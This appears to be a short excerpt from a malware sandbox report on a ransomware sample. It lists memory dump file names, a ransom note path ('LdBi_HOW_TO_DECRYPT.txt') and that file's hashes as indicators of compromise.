memory/4056-255-0x000001EE4E1A0000-0x000001EE4E296000-memory.dmp

memory/4056-261-0x000001EE4E1A0000-0x000001EE4E296000-memory.dmp

C:\LdBi_HOW_TO_DECRYPT.txt

MD5 2469f433dd1295e9de4cc5a6ba3d64a6
SHA1 bba5c9434767bcd44dcc93e710ed373b549ca916
SHA256 4cc7a84e3263a14bd0fcd4df8be8e316c50cc95bbdac41398f11290e9d9d60f9
SHA512 39c4240f137da1697eb399e966d05596dddbf771aafdfcbd78984def8130dfeebfab681ea48d0d6b3fe0cefb724f3392706a2c38a734998ff6e5a1f3d686b4a4